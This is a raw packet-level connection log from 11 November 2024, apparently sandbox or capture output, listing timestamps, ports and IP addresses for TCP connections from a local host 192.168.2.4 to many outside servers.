                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398176908 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398479939 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398490906 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398650885 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.402792931 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.402838945 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.402869940 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.402920008 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.432185888 CET6091780192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.432230949 CET6091680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479182005 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479218960 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479233027 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479243040 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479266882 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479374886 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479387045 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479418993 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479554892 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479572058 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479597092 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479619980 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479774952 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479784966 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479795933 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479815006 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.479836941 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480218887 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480261087 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480295897 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480307102 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480340004 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480506897 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480524063 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480545998 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.480567932 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.481067896 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.481106997 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.481153011 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.481163979 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.481190920 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486498117 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486550093 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486557961 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486569881 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486591101 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486608028 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486790895 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.486833096 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.487869024 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.487912893 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.487916946 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.487927914 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.487957001 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.560381889 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.560405970 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.560415983 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.560456991 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.560578108 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:25.417887926 CET5574280192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:49:25.417921066 CET5573980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:25.417959929 CET5574080192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.009547949 CET5574180192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.009628057 CET5573180192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.009651899 CET5573280192.168.2.4162.255.119.102
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.009798050 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.010165930 CET4991580192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.010247946 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:26.010386944 CET5572980192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:49:41.947227001 CET804976264.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:41.947263002 CET4976280192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:49:44.264173031 CET804974913.248.169.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:44.264240980 CET4974980192.168.2.413.248.169.48
                                                                                                                                                                                                                    Nov 11, 2024 18:49:45.176363945 CET804977164.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:45.176445961 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:49:49.507253885 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:49.507322073 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:49:50.440725088 CET804975876.223.67.189192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:50.441452980 CET4975880192.168.2.476.223.67.189
                                                                                                                                                                                                                    Nov 11, 2024 18:50:00.122517109 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:00.122575998 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:50:02.068685055 CET800049755106.15.232.163192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:02.073086977 CET497558000192.168.2.4106.15.232.163
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.685174942 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.685520887 CET5015680192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.689168930 CET5015780192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.690148115 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.690344095 CET8050156199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.690615892 CET5015680192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.691190958 CET5015680192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.694103956 CET8050157178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.694179058 CET5015780192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.694714069 CET5015780192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.694955111 CET805015823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.695019960 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.695401907 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.696801901 CET8050156199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.699840069 CET8050157178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.700275898 CET805015823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.735120058 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.735405922 CET5015980192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740263939 CET8050159208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740422964 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740492105 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740504026 CET5015980192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740947962 CET5015980192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.741750956 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.742119074 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.742913008 CET5016180192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.745791912 CET8050159208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.746607065 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.747062922 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.747400045 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.747728109 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.750338078 CET805016175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.750426054 CET5016180192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.751349926 CET5016180192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.755197048 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.756304979 CET805016175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.766216040 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.766443014 CET5016280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.772859097 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.772886038 CET8050162188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.772931099 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.772958040 CET5016280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.773072958 CET5016280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.778084993 CET8050162188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.038438082 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118793964 CET8050156199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118818045 CET8050156199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118832111 CET8050157178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118859053 CET5015680192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118906021 CET5015680192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118921041 CET5015780192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.118978024 CET5015780192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.120443106 CET5016380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.123811007 CET8050157178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.125358105 CET8050163178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.125433922 CET5016380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.125597954 CET5016380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.130848885 CET8050163178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149105072 CET805015823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149158955 CET805015823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149178982 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149214029 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149327040 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.149353027 CET5015880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.150372028 CET5016480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.155195951 CET805016423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.155256033 CET5016480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.155407906 CET5016480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.160712004 CET805016423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.203375101 CET805016175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.203433990 CET5016180192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.203501940 CET5016180192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.206248045 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.206301928 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.206361055 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.206634998 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.206649065 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.209194899 CET805016175.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.209248066 CET5016180192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.212179899 CET8050159208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.212243080 CET5015980192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.213118076 CET5015980192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.218784094 CET8050159208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.316312075 CET8050159208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.316381931 CET5015980192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.509001017 CET8050162188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.509057045 CET5016280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.521245003 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.521301985 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.521382093 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.521867037 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.521881104 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.537342072 CET8050163178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.537488937 CET5016380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.537580967 CET5016380192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.542886972 CET8050163178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.610045910 CET805016423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.610071898 CET805016423.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.610172033 CET5016480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.624275923 CET5016480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.624403954 CET5016480192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.633831024 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.633882046 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.651747942 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.651978970 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.659923077 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.659941912 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.741553068 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.869189978 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.874140978 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.919794083 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.919826031 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.951227903 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:07.951323032 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.043407917 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.043432951 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.043694019 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.044295073 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.046853065 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.087327957 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.648854017 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.648953915 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.648988008 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.649032116 CET4975880192.168.2.476.223.67.189
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.649071932 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.649091005 CET4976280192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.649135113 CET497558000192.168.2.4106.15.232.163
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.663310051 CET4975080192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.670336962 CET4974980192.168.2.413.248.169.48
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.670391083 CET4974880192.168.2.476.223.26.96
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.670454979 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.960272074 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.960285902 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.960302114 CET4975880192.168.2.476.223.67.189
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.975888968 CET4974980192.168.2.413.248.169.48
                                                                                                                                                                                                                    Nov 11, 2024 18:50:08.975893974 CET4974880192.168.2.476.223.26.96
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038397074 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038403988 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038404942 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038420916 CET497558000192.168.2.4106.15.232.163
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038434982 CET4976280192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038500071 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.038501978 CET4975080192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155318975 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155385017 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155384064 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155412912 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155435085 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155436039 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155461073 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155467987 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155488968 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155510902 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155733109 CET4435016575.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.155780077 CET50165443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156083107 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156127930 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156219006 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156259060 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156373978 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156409979 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156831980 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156889915 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156903028 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156939030 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156939030 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156953096 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.156981945 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157007933 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157016039 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157054901 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157062054 CET44350166188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157099009 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157182932 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157213926 CET50166443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157799959 CET8050160154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.157843113 CET5016080192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.158425093 CET5016280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161845922 CET804977164.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161864042 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161875963 CET804975876.223.67.189192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161895037 CET804976264.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161906004 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161917925 CET800049755106.15.232.163192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.161927938 CET804974913.248.169.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162120104 CET804977164.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162134886 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162143946 CET804975876.223.67.189192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162156105 CET804974876.223.26.96192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162161112 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162173986 CET804974913.248.169.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162184000 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162180901 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162193060 CET800049755106.15.232.163192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162204027 CET804976264.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:09.162206888 CET4975880192.168.2.476.223.67.189
